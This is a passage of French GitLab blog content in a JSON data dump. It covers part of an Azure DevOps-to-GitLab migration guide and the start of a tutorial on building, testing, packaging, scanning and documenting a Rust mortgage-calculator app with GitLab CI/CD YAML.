individuel vers un ticket GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764769188/ztesjnxxfbwmfmtckyga.png)\n\nConseils pour la migration par lots :\n\n* Si vous devez exécuter des migrations par lots, utilisez votre nouvelle structure de groupe/sous-groupe pour définir les lots (par exemple, par organisation ADO ou par domaine produit).\n* Utilisez les rapports d'inventaire pour orienter la sélection des lots et testez chaque lot avec une migration pilote avant d'effectuer la migration complète.\n\n**Migration des pipelines**\n\nCongregate a [récemment introduit](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/merge_requests/1298) une conversion basée sur l'IA pour les pipelines YAML multi-étapes d'Azure DevOps vers GitLab CI/CD. Cette conversion automatisée fonctionne avant tout pour les pipelines simples avec un fichier unique et est conçue pour fournir un point de départ fonctionnel plutôt qu'un fichier `.gitlab-ci.yml` prêt pour la production. L'outil génère un pipeline GitLab équivalent sur le plan fonctionnel que vous pouvez ensuite affiner et optimiser selon vos besoins.\n\n*  Conversion automatique des pipelines YAML Azure au format `.gitlab-ci.yml`\n* Mieux adapté pour les configurations de pipeline simples avec un fichier unique\n* Fichier passe-partout fourni pour accélérer la migration, pas un artefact de production final\n* Revue et ajustement requis pour les scénarios complexes, les tâches personnalisées ou les exigences de l'entreprise\n* Pas de prise en charge de pipelines de version classiques Azure DevOps, [conversion en YAML multi-étapes](https://learn.microsoft.com/fr-fr/azure/devops/pipelines/release/from-classic-pipelines?view=azure-devops) nécessaire\n\nLes propriétaires de dépôts doivent consulter la [documentation GitLab CI/CD](https://docs.gitlab.com/ci/) pour optimiser et améliorer davantage leurs pipelines après la conversion initiale.\n\nExemple de pipelines convertis :\n\n\n```yml \n\n# azure-pipelines.yml\n\ntrigger:\n  - main\n\nvariables:\n  imageName: myapp\n\nstages:\n  - stage: Build\n    jobs:\n      - job: Build\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Build Docker image\n            inputs:\n              command: build\n              repository: $(imageName)\n              Dockerfile: '**/Dockerfile'\n              tags: |\n                $(Build.BuildId)\n\n  - stage: Test\n    jobs:\n      - job: Test\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          # Example: run tests inside the container\n          - script: |\n              docker run --rm $(imageName):$(Build.BuildId) npm test\n            displayName: Run tests\n\n  - stage: Push\n    jobs:\n      - job: Push\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Login to ACR\n            inputs:\n              command: login\n              containerRegistry: '\u003Cyour-acr-service-connection>'\n\n          - task: Docker@2\n            displayName: Push image to ACR\n            inputs:\n              command: push\n              repository: $(imageName)\n              tags: |\n                $(Build.BuildId)\n\n```\n\n```yaml\n\n# .gitlab-ci.yml\n\nvariables:\n  imageName: myapp\n\nstages:\n  - build\n  - test\n  - push\n\nbuild:\n  stage: build\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker build -t $imageName:$CI_PIPELINE_ID -f $(find . -name Dockerfile) .\n  only:\n    - main\n\ntest:\n  stage: test\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker run --rm $imageName:$CI_PIPELINE_ID npm test\n  only:\n    - main\n\npush:\n  stage: push\n  image: docker:latest\n  services:\n    - docker:dind\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker tag $imageName:$CI_PIPELINE_ID $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n    - docker push $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n  only:\n    - main\n\n```\n\n\n**Liste de contrôle finale :**\n\n* Décidez du calendrier et de la stratégie par lots.\n* Produisez un inventaire complet des dépôts, pull requests et contributeurs.\n* Choisissez Congregate ou l'importation intégrée en fonction de la portée (pull requests  et métadonnées vs données Git uniquement).\n* Décidez qui exécutera les migrations et assurez-vous que les tokens/permissions sont configurés.\n* Identifiez les éléments qui doivent être migrés séparément (pipelines, éléments de travail, artefacts et hooks) et planifiez ces migrations.\n* Effectuez des migrations pilotes, validez les résultats, puis passez à la migration complète selon votre calendrier.\n\n## Exécutez vos migrations\n\nUne fois la planification terminée, exécutez les migrations par étapes, en commençant par des migrations d'essai, qui permettent de faire remonter les problèmes spécifiques à l'organisation tôt et de mesurer la durée, de valider les résultats et d'affiner votre approche avant la production.\n\nUtilisez les migrations d'essai pour valider les éléments suivants :\n\n* Succès de la migration d'un dépôt donné et des éléments associés (historique, branches, tags ; ainsi que les merge requests/commentaires si vous utilisez Congregate)\n* Utilisation immédiate de la destination (permissions, runners, variables CI/CD, intégrations)\n* Durée de chaque lot (afin de définir les calendriers et les attentes des parties prenantes)\n\nConseils concernant les temps d'arrêt :\n\n* L'importation Git intégrée de GitLab et Congregate ne nécessitent pas intrinsèquement de temps d'arrêt.\n* Pour les vagues de production, gelez les modifications dans ADO (protections de branches ou lecture seule) pour éviter les commits manqués, les mises à jour de pull requests ou les éléments de travail créés en cours de migration.\n* Les essais n'ont pas besoin d'être gelés et peuvent être exécutés à tout moment.\n\nConseils pour la migration par lots :\n\n* Exécutez des lots d'essai consécutifs pour raccourcir le temps écoulé ; laissez les équipes valider les résultats de manière asynchrone.\n* Utilisez votre structure de groupe/sous-groupe planifiée pour définir les lots et respectez les limites de débit des API.\n\nÉtapes recommandées :\n\n1. Créez une destination de test dans GitLab pour les essais :\n\n* GitLab.com : créez un groupe/espace de nommage dédié (par exemple, my-org-sandbox).\n* Instance auto-gérée : créez un groupe de niveau supérieur ou une instance de test distincte si nécessaire.\n\n2. Préparez l'authentification :\n\n* PAT Azure DevOps avec les portées requises.\n* Token d'accès personnel GitLab avec api et read_repository (plus accès administrateur pour les importations basées sur des fichiers utilisées par Congregate).\n\n3. Exécutez des migrations d'essai :\n\n* Dépôts uniquement : utilisez l'importation intégrée de GitLab (dépôt par URL).\n* Dépôts + pull requests/merge requests et actifs supplémentaires : utilisez Congregate.\n\n4. Suivi post-essai :\n\n* Vérifiez l'historique du dépôt, les branches, les tags ; les merge requests (si elles ont été migrées), les tickets/epics (s'ils ont été migrées), les labels et les relations.\n* Vérifiez les permissions/rôles, les branches protégées, les approbations requises, les runners/tags, les variables/secrets, les intégrations/webhooks.\n* Validez les pipelines (`.gitlab-ci.yml`) ou les pipelines convertis le cas échéant.\n\n5. Demandez aux utilisateurs de valider la fonctionnalité et la fidélité des données.\n6. Résolvez les problèmes découverts lors des essais et mettez à jour vos runbooks.\n7. Réseau et sécurité :\n\n* Si votre destination utilise des listes d'IP autorisées, ajoutez les IP de votre hôte de migration et tous les runners/intégrations requis afin de garantir la réussite des importations.\n\n8. Exécutez les migrations de production par vagues :\n\n* Appliquez des gels de modifications dans ADO pendant chaque vague.\n* Surveillez la progression et les logs ; réessayez ou ajustez les tailles de lots si vous atteignez les limites de débit.\n\n9. Facultatif : supprimez le groupe de l'environnement sandbox ou archivez-le après avoir terminé.\n\n\u003Cfigure class=\"video_container\">\n      \u003Ciframe src=\"https://www.youtube.com/embed/ibIXGfrVbi4?si=ZxOVnXjCF-h4Ne0N\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n    \u003C/figure>\n\n## Références terminologiques pour GitLab et Azure DevOps\n\n| GitLab                                                           | Azure DevOps                                 | Similitudes et différences clés                                                                                                                                          |\n| ---------------------------------------------------------------- | -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Groupe                                                            | Organisation                                 | Espace de nommage principal, adhésion, politiques. Une organisation ADO contient des projets ; un groupe GitLab contient des sous-groupes et des projets.                                                   |\n| Groupe ou sous-groupe                                                | Projet                                      | Conteneur logique, limite de permissions. Un projet ADO contient de nombreux dépôts ; les groupes/sous-groupes GitLab contiennent de nombreux projets.                                                |\n| Projet (inclut un dépôt Git)                                    | Dépôt (à l'intérieur d'un projet)                | Historique Git, branches, tags. Dans GitLab, un « projet » est le dépôt plus les tickets, CI/CD, wiki, etc. Un dépôt par projet.                                                  |\n| Merge Request (MR)                                               | Pull Request (PR)                            | Revue de code, discussions, approbations. Les règles des MR incluent les approbations, les pipelines requis, les propriétaires de code.                                                                     |\n| Branches protégées, règles d'approbation des MR, vérifications de statut             | Politiques des branches                              | Imposent des revues et des vérifications. GitLab combine les protections + les règles d'approbation + les vérifications de statut requises.                                                                    |\n| GitLab CI/CD                                                     | Pipelines Azure                             | Pipelines YAML, étapes/jobs, logs. ADO a également des pipelines UI classiques ; GitLab se concentre sur .gitlab-ci.yml.                                                               |\n| .gitlab-ci.yml                                                   | azure-pipelines.yml                          | Définit les étapes/jobs/déclencheurs. La syntaxe/les fonctionnalités diffèrent ; map job, variables, artefacts et déclencheurs.                                                                   |\n| Runners (partagés/spécifiques)                                        | Agents / pools d'agents                         | Exécutent les jobs sur des machines/conteneurs. Ciblent via des demandes (ADO) ou tags (GitLab). L'enregistrement/la portée diffère.                                                         |\n| Variables CI/CD (projet/groupe/instance), protégées/masquées       | Variables de pipeline, groupes de variables, bibliothèque | Transmettent la configuration/les secrets aux jobs. GitLab prend en charge l'héritage de groupe et les flags de masquage/protection.                                                                          |\n| Intégrations, variables CI/CD, clés de déploiement                       | Connexions de service                          | Authentification externe vers les services/clouds. Map vers les intégrations ou les variables ; des assistants spécifiques au cloud sont disponibles.                                                                 |\n| Environnements et déploiements (environnements protégés)                      | Environnements (avec approbations)                | Suivent les cibles/l'historique de déploiement. Approbations via environnements protégés et jobs manuels dans GitLab.                                                                                 |\n| Versions (tag + notes)                                           | Versions (classiques ou pipelines)              | Notes/artefacts versionnés. La version GitLab est liée aux tags ; les déploiements sont suivis séparément.                                                                               |\n| Artefacts de job                                                    | Artefacts de pipeline                           | Inscrivent de manière permanente les sorties de job. La rétention/l'expiration sont configurées par job ou par projet.                                                                                                  |\n| Registre de paquets (NuGet/npm/Maven/PyPI/Composer, etc.)           | Artefacts Azure (NuGet/npm/Maven, etc.)      | Hébergement de paquets. L'authentification/l'espace de nommage diffère ; migrez par type de paquets.                                                                                                     |\n| Registre de conteneurs GitLab                                        | Registre de conteneurs Azure (ACR) ou autres     | Images OCI. GitLab fournit des registres par projet/groupe.                                                                                                             |\n| Tableaux de tickets                                                     | Tableaux                                       | Affichent les tâches dans des colonnes. Les tableaux GitLab sont pilotés par des labels ; plusieurs tableaux par projet/groupe.                                                                         |\n| Tickets (types/labels), epics                                     | Éléments de travail (user story/bogue/tâche)             | Suivent les unités de travail. Mappent les types/champs ADO vers les labels/champs personnalisés ; epics au niveau du groupe.                                                                              |\n| Epics, tickets parent/enfant                                       | Epics/fonctionnalités                               | Hiérarchie du travail. Le schéma diffère ; utilisation des epics + relations de tickets.                                                                                                   |\n| Jalons et itérations                                        | Chemins d'itération                              | Temps limité. Itérations GitLab (fonctionnalité de groupe) ou jalons par projet/groupe.                                                                                       |\n| Labels (labels à portée)                                           | Chemins de domaine                                   | Catégorisation/propriété. Remplacement des domaines hiérarchiques par des labels à portée.                                                                                              |\n| Wiki de projet/groupe                                               | Wiki de projet                                 | Wiki Markdown. Sauvegardes avec des dépôts dans les deux ; la mise en page/l'authentification diffère légèrement.                                                                                                  |\n| Rapports de test via CI, gestion des exigences/tests, intégrations  | Plans/cas/exécutions de test                        | QA des preuves/de la traçabilité. Pas de correspondance 1:1 avec les plans de test ADO ; utilisent souvent les rapports CI + tickets/exigences.                                                                     |\n| Rôles (propriétaire/chargé de maintenance/développeur/rapporteur/invité) + rôles personnalisés | Niveaux d'accès + permissions granulaires         | Contrôlent la lecture/l'écriture/l'administration. Les modèles diffèrent ; exploitation de l'héritage de groupe et des ressources protégées.                                                                          |\n| Webhooks                                                         | Hooks de service                                | Intégrations basées sur les événements. Les noms/charges utiles d'événements diffèrent ; reconfiguration des points de terminaison.                                                                                        |\n| Recherche avancée                                                  | Recherche de code                                  | Recherche dans le dépôt en texte intégral. GitLab Self-Managed peut nécessiter Elasticsearch/OpenSearch pour les fonctionnalités avancées.","2025-12-08","Migrer d'Azure DevOps vers GitLab :  le guide complet","Découvrez comment migrer d'Azure DevOps vers GitLab à l'aide des outils de migration des Services professionnels de GitLab, de la planification à l'exécution en passant par les tâches de suivi post-migration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749658924/Blog/Hero%20Images/securitylifecycle-light.png",[1029,1030],"Evgeny Rudinsky","Michael Leopard",{"featured":652,"template":806,"slug":1032},"migration-from-azure-devops-to-gitlab",{"content":1034,"config":1043},{"title":1035,"description":1036,"authors":1037,"tags":1039,"heroImage":1040,"category":717,"date":1041,"body":1042},"Rust : développement sécurisé avec GitLab","Découvrez comment GitLab prend en charge le développement en Rust grâce à ses capacités CI/CD, ses analyses de sécurité, ses intégrations dédiées et ses fonctionnalités d'IA.",[1038],"Fernando Diaz",[244,932,1020],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314674/tct6zf6evw0xgddd2vo3.png","2025-11-06","Rust s'est imposé comme l'un des langages de programmation les plus appréciés grâce à ses performances,\nsa mémoire sécurisée et ses fonctionnalités attractives. Alors que l'adoption de Rust continue de croître,\nde nombreux développeurs recherchent des plateformes CI/CD robustes pour prendre en charge leurs projets Rust.\n\nPour les équipes de développement qui utilisent Rust, l'attrait de GitLab va bien au-delà du simple hébergement de code. La plateforme offre\ndes capacités [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") robustes qui s'alignent parfaitement avec l'accent mis par Rust sur la sécurité, les performances et la fiabilité. GitLab facilite la création de dépôts et l'utilisation de conteneurs [Docker](https://about.gitlab.com/fr-fr/blog/what-is-docker-comprehensive-guide/ \"Qu'est-ce que Docker ?\") prêts à l'emploi\npour exécuter des jobs CI personnalisés. Les équipes peuvent facilement configurer des tests automatisés, des compilations multiplateformes et la génération de documentation. L'approche intégrée de la plateforme DevSecOps résonne avec la philosophie de Rust qui consiste à fournir des outils complets prêts à l'emploi.\n\n## À propos de l'application de démonstration\n\nNous nous intéressons à l'impact des taux hypothécaires sur les paiements mensuels et à la difficulté d'acheter une maison dans le contexte actuel, c'est pourquoi nous avons décidé d'écrire un [calculateur de prêt hypothécaire](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/rust/mortgage-calculator) en Rust, que nous utiliserons comme exemple tout au long de ce tutoriel. N'hésitez pas à [importer ce projet](https://docs.gitlab.com/user/project/import/repo_by_url/) pour mieux suivre la démonstration.\n\nLe calculateur de prêt hypothécaire aidera les utilisateurs à calculer les paiements mensuels d'un prêt hypothécaire, qui incluent le capital, les intérêts, les taxes foncières, l'assurance, l'assurance du prêt hypothécaire privée et les frais d'association de propriétaires. Il fournit une interface graphique moderne et intuitive au moyen du framework [egui](https://www.egui.rs/), ainsi qu'une interface de ligne de commande pour l'exécuter dans le terminal.\n\n![Interface graphique du calculateur de prêt hypothécaire](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/l5bjnzqvpoyikuyxpx2a.png)\n\nCette application contient un fichier [`.gitlab-ci.yml`](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/rust/mortgage-calculator/-/blob/main/.gitlab-ci.yml?ref_type=heads) qui génère un pipeline, lequel va construire, tester, empaqueter, analyser et déployer le logiciel. Nous examinerons cette définition du pipeline en détail dans les sections ci-dessous.\n\n![Pipeline du calculateur de prêt hypothécaire](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314540/llmsfoaupedhkem0hjqp.png)\n\n## Compilation et test des applications Rust\n\nLe système CI/CD basé sur Docker de GitLab excelle dans les workflows de développement Rust, car il fournit une base robuste\npour la compilation, les tests et les vérifications de qualité du code. Les mécanismes de mise en cache de la plateforme\nsont particulièrement précieux pour les projets Rust, qui peuvent avoir des temps de compilation longs en raison des\nprocessus approfondis d'optimisation et de vérification de sécurité du langage.\n\n### Compilation\n\nLes excellentes capacités de compilation croisée de Rust combinées au système CI/CD flexible de GitLab\ncréent une solution puissante pour construire des applications sur plusieurs plateformes. Cette combinaison est particulièrement utile pour les applications Rust qui doivent fonctionner sur divers systèmes d'exploitation et architectures sans impacter les performances ou nécessiter du code spécifique à la plateforme.\n\n**Remarque :** vous pouvez en apprendre davantage sur le fichier `.gitlab-ci.yml` en consultant la [référence dédiée à la syntaxe YAML CI/CD](https://docs.gitlab.com/ci/yaml/).\n\n```yaml\n# Cache configuration to speed up builds by reusing dependencies\ncache:\n  key: $CI_COMMIT_REF_SLUG                               # Use branch name as cache key\n  paths:\n    - .cargo/                                            # Cache Cargo registry and git dependencies\n    - target/                                            # Cache compiled artifacts\n\n# Base template for Rust jobs - shared configuration\n.rust-template:\n  image: rust:$RUST_VERSION-slim                         # Use slim Rust image for faster downloads\n  before_script:\n    # Install system dependencies required for building the Rust application\n    - apt-get update && apt-get install -y pkg-config libssl-dev libgtk-3-dev libxcb-shape0-dev libxcb-xfixes0-dev\n\n# Template for cross-compilation build jobs\n.build-template:\n  extends: .rust-template                                # Inherit from rust-template\n  stage: build                                           # Execute during build stage\n  script:\n    - rustup target add $TARGET                          # Add the target platform for cross-compilation\n    - cargo build --release --target $TARGET             # Build optimized release binary for target platform\n\n# Build for Linux x86_64 (primary target platform)\nbuild-linux:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-unknown-linux-gnu                     # Linux 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: false                                   # This build must succeed\n\n# Build for Windows x86_64 (cross-compilation)\nbuild-windows:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-pc-windows-gnu                        # Windows 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: true                                    # Allow this build to fail (cross-compilation can be tricky)\n\n# Build for macOS x86_64 (cross-compilation)\nbuild-macos:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-apple-darwin                          # macOS 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: true\n```\n\nCette configuration GitLab CI définit trois jobs de compilation qui compilent de manière croisée une application\nde calculateur de prêt hypothécaire Rust pour différentes plateformes :\n\n* `build-linux` crée un binaire Linux x86_64 (requis pour réussir)\n* `build-windows` crée des binaires Windows (autorisés à échouer)\n* `build-macos` crée des binaires macOS x86_64 (autorisés à échouer)\n\nToutes les compilations utilisent des templates partagés pour la mise en cache des dépendances et des environnements de compilation cohérents.\n\n### Tests\n\nGitLab CI/CD simplifie les tests de code grâce à son système de pipeline intégré qui déclenche automatiquement\nles suites de tests chaque fois qu'un push du code est effectué vers le dépôt. Les développeurs peuvent définir plusieurs types de tests (tests unitaires, tests d'intégration, linting et vérifications de formatage) dans un seul fichier de configuration `.gitlab-ci.yml`. Chaque test s'exécute dans des conteneurs Docker isolés pour garantir des environnements cohérents.\n\n```yaml\n  # Run unit tests\ntest:unit:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - cargo test --verbose                               # Run all unit tests with verbose output\n\n# Run integration tests using the compiled binary\ntest:integration:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    # Test the compiled binary with sample inputs and verify expected output\n    - target/x86_64-unknown-linux-gnu/release/mortgage-calculator --cli calculate --property-value 350000 --down-payment 70000 --interest-rate 5.0 | grep -q \"TOTAL MONTHLY PAYMENT\"\n  needs:\n    - build-linux                                        # Depends on Linux build job completing\n\n# Run Clippy linter for code quality checks\ntest:clippy:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - rustup component add clippy                        # Install Clippy linter\n    - cargo clippy -- -D warnings                       # Run Clippy and treat warnings as errors\n  allow_failure: true                                    # Allow linting failures (can be improved over time)\n\n# Check code formatting\ntest:format:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - rustup component add rustfmt                       # Install Rust formatter\n    - cargo fmt -- --check                              # Check if code is properly formatted\n  allow_failure: true                                    # Allow formatting failures (can be improved over time)\n```\n\nCette configuration GitLab CI crée quatre jobs de test qui valident l'application de calculateur de prêt hypothécaire Rust :\n\n* `test:unit` exécute les tests unitaires\n* `test:integration` exécute le binaire Linux compilé avec des intrants d'exemple pour vérifier la fonctionnalité\n* `test:clippy` effectue le linting de la qualité du code (autorisé à échouer)\n* `test:format` vérifie la conformité du formatage du code (autorisé à échouer)\n\n## Registres de paquets et de conteneurs\n\nLe [registre de paquets](https://docs.gitlab.com/user/packages/package_registry/) de GitLab fournit une solution sécurisée au partage de bibliothèques internes et de code propriétaire au sein des organisations. Cette fonctionnalité est essentielle pour les entreprises et équipes qui doivent maintenir des artefacts et continuer à utiliser l'écosystème Rust au sens large.\n\nLe registre prend en charge les [artefacts génériques](https://docs.gitlab.com/user/packages/generic_packages/) avec des contrôles d'accès granulaires en fonction des permissions de projet de GitLab. Les équipes peuvent donc partager des bibliothèques en toute sécurité entre les projets ainsi que respecter la protection de la propriété intellectuelle et les exigences de conformité.\n\nDe plus, nous pouvons conteneuriser notre application et stocker les images de conteneur dans\nle [registre des conteneurs](https://docs.gitlab.com/user/packages/container_registry/) intégré de GitLab.\n\n### Publication vers le registre de paquets GitLab\n\nCette section de notre `.gitlab-ci.yml` démontre comment packager et publier des applications Rust\nsous forme d'archives tar vers le registre de paquets génériques de GitLab au moyen de l'automatisation CI/CD.\n\n```yaml\n# Package application as tar archive\npackage:tar:\n  image: alpine/curl:8.12.1                             # Lightweight image with curl for uploading\n  stage: package                                         # Execute during package stage\n  variables:\n    PACKAGE_NAME: mortgage-calculator.tar.gz             # Name of the archive file\n  script:\n    # Create tar archive of the Linux binary\n    - tar -czvf $PACKAGE_NAME target/x86_64-unknown-linux-gnu/release/mortgage-calculator\n    # Upload archive to GitLab Package Registry using API\n    - |\n      curl -v --location --header \"JOB-TOKEN: $CI_JOB_TOKEN\" \\\n      --upload-file $PACKAGE_NAME \\\n      \"$CI_API_V4_URL/projects/$CI_PROJECT_ID/packages/generic/tar/$CI_COMMIT_BRANCH/$PACKAGE_NAME\"\n  artifacts:\n    paths:\n      - target/x86_64-unknown-linux-gnu/release/mortgage-calculator  # Save binary\n      - mortgage-calculator.tar.gz                      # Save archive\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  needs:\n    - build-linux                                        # Depends on Linux build completing\n```\n\nCette configuration GitLab CI définit un job d'empaquetage `package:tar` qui crée une archive tar compressée\ndu binaire de calculateur de prêt hypothécaire Linux et l'importe vers le registre de paquets de GitLab, et sauvegarde à la fois le binaire et l'archive comme artefacts de pipeline.\n\n![Registre de paquets](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/uqnejcipnge3r1dngotm.png)\n\n### Publication vers le registre de conteneurs GitLab\n\nLe bloc de code ci-dessous montre le processus de création de Dockerfiles et de publication d'images Docker vers le registre de conteneurs de GitLab avec un ajout de tags et une authentification appropriés.\n\n```yaml\n# Package application as Docker image\npackage:docker:\n  image: docker:24.0                                     # Use Docker image for building containers\n  stage: package                                         # Execute during package stage\n  services:\n    - docker:24.0-dind                                   # Docker-in-Docker service for building images\n  before_script:\n    # Login to GitLab Container Registry\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker build -t $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG .  # Build Docker image with commit SHA tag\n    - docker tag $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG $DOCKER_IMAGE_NAME:latest  # Also tag as latest\n    - docker push $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG  # Push tagged image to registry\n    - docker push $DOCKER_IMAGE_NAME:latest             # Push latest image to registry\n```\n\nCette configuration GitLab CI définit un job d'empaquetage Docker `package:docker` qui crée une image Docker de l'application de calculateur de prêt hypothécaire, ajoute les tags « commit SHA » et « latest », puis pousse les deux versions avec un tag vers le registre de conteneurs de GitLab.\n\n![Registre de conteneurs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314537/nlodhvdnpqccf0cryfqu.png)\n\n## Scanning de sécurité\n\nLe scanning de sécurité GitLab fournit une protection complète qui va au-delà des garanties de sécurité mémoire intégrées de Rust. Bien que Rust prévienne de nombreuses vulnérabilités de sécurité courantes au moment de la compilation, les applications ont encore besoin de protection contre les vulnérabilités des dépendances, les blocs de code non sécurisés et les problèmes de sécurité logiques.\n\nLes tests statiques de sécurité des applications [SAST](https://docs.gitlab.com/user/application_security/sast/) de la plateforme s'intègrent parfaitement avec la chaîne d'outils de Rust et fournissent une analyse de sécurité automatisée dans le pipeline CI/CD. Cette approche proactive détecte les problèmes de sécurité avant qu'ils n'arrivent en production afin de répondre à la fois aux exigences de conformité et aux pratiques de développement sécurisé.\n\nLes fonctionnalités de sécurité complètes de GitLab, y compris les tests SAST, l'analyse des dépendances et la détection des secrets peuvent facilement être implémentées via des modèles, comme illustré ci-dessous.\n\n**Remarque :**  une configuration supplémentaire est requise pour [activer les tests SAST pour Rust](https://docs.gitlab.com/user/application_security/sast/#scan-a-rust-application).\n\n```yaml\n# Include GitLab's security scanning templates for DevSecOps\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml                    # Static Application Security Testing\n  - template: Jobs/Dependency-Scanning.latest.gitlab-ci.yml  # Scan dependencies for vulnerabilities\n  - template: Jobs/Container-Scanning.gitlab-ci.yml      # Scan Docker containers for vulnerabilities\n  - template: Jobs/SAST-IaC.gitlab-ci.yml               # Infrastructure as Code security scanning\n  - template: Jobs/Secret-Detection.gitlab-ci.yml        # Detect secrets in source code\n```\n\nLes scanners de sécurité peuvent être configurés de manière similaire à n'importe quel job sur GitLab :\n\n```yaml\n# Configure Semgrep SAST scanning for Rust files\nsemgrep-sast:\n  rules:\n    - if: $CI_COMMIT_BRANCH                              # Run on any branch\n      exists:\n        - \"**/*.rs\"                                      # Only if Rust files exist\n  variables:\n    SAST_EXCLUDED_PATHS: \".cargo/**\"                     # Exclude Cargo cache from scanning\n\n# Scan Docker container for security vulnerabilities\ncontainer_scanning:\n  stage: container-security                              # Execute during container-security stage\n  variables:\n    CS_IMAGE: $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG      # Image to scan\n    CS_DOCKERFILE_PATH: Dockerfile                       # Path to Dockerfile for context\n  needs:\n    - package:docker                                     # Depends on Docker image being built\n```\n\nLorsque des vulnérabilités sont détectées dans une merge request (MR), vous pouvez toutes les afficher et utiliser les informations fournies pour les résoudre ou les rejeter.\n\n![Affichage des vulnérabilités dans la MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314544/gcicke3ltvbcv57mr8zr.png)\n\nVous pouvez également ajouter des [stratégies de sécurité](http://docs.gitlab.com/user/application_security/policies/) pour exiger une approbation avant que du code vulnérable puisse être fusionné, ou pour forcer l'exécution des scanners indépendamment de ce qui se trouve dans le `.gitlab-ci.yml`.\n\n![Politique d'approbation des merge requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/c95nwocol03lonrr6r4n.png)\n\nVous pouvez trier toutes les vulnérabilités trouvées dans votre branche par défaut au moyen du [rapport de vulnérabilités](https://docs.gitlab.com/user/application_security/vulnerability_report/) :\n\n![Rapport de vulnérabilités](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314544/b0nctigbv1ddpzizkp9x.png)\n\n## Documentation avec GitLab Pages\n\n[GitLab Pages](https://docs.gitlab.com/user/project/pages/) fournit une excellente plateforme pour héberger la documentation Rust, car il s'intègre parfaitement avec la génération de documentation intégrée de Cargo. Ce workflow puissant génère et déploie la documentation API, les guides de projet et les exemples automatiquement à chaque modification de code.\n\nLa combinaison de `cargo doc` et GitLab Pages permet aux équipes de maintenir une documentation à jour sans intervention manuelle afin que la documentation soit synchronisée avec les modifications de code. Cette fonctionnalité est particulièrement utile pour les projets Rust où une documentation complète est essentielle pour comprendre les API complexes et les contrats de sécurité.\n\n### Déploiement automatisé de la documentation\n\nLe code ci-dessous montre la configuration CI/CD nécessaire pour générer et déployer automatiquement la documentation Rust au moyen de `cargo doc` et GitLab Pages.\n\n```yaml\n# Generate and publish documentation using GitLab Pages\nbuild-documentation:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: build                                           # Execute during build stage\n  variables:\n    GIT_SUBMODULE_STRATEGY: recursive                    # Clone submodules recursively if needed\n  pages: true                                            # Enable GitLab Pages deployment\n  script:\n    - cargo doc --no-deps                                # Generate documentation without dependencies\n    - mv target/doc public                               # Move docs to public directory for Pages\n  artifacts:\n    paths:\n      - public                                           # GitLab Pages serves from public directory\n  rules:\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH     # Only run on default branch (main/master)\n  environment:\n    name: documentation                                  # Environment name for tracking\n    url: $CI_PAGES_URL/mortgage_calculator/index.html   # Documentation URL\n  allow_failure: true                                    # Allow documentation build to fail\n```\n\nUne fois le job terminé, vous pouvez consulter la documentation déployée en accédant à l'[environnement GitLab](https://docs.gitlab.com/ci/environments/) où il a été déployé.\n\n![Environnement Pages](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/aofa6wwjugeyeshuwg9r.png)\n\nDe cette manière, vous pouvez gérer plusieurs versions de la documentation dans différents environnements. La documentation sera déployée de manière cohérente avec les données de sortie de `cargo doc` :\n\n![Compilation de GitLab 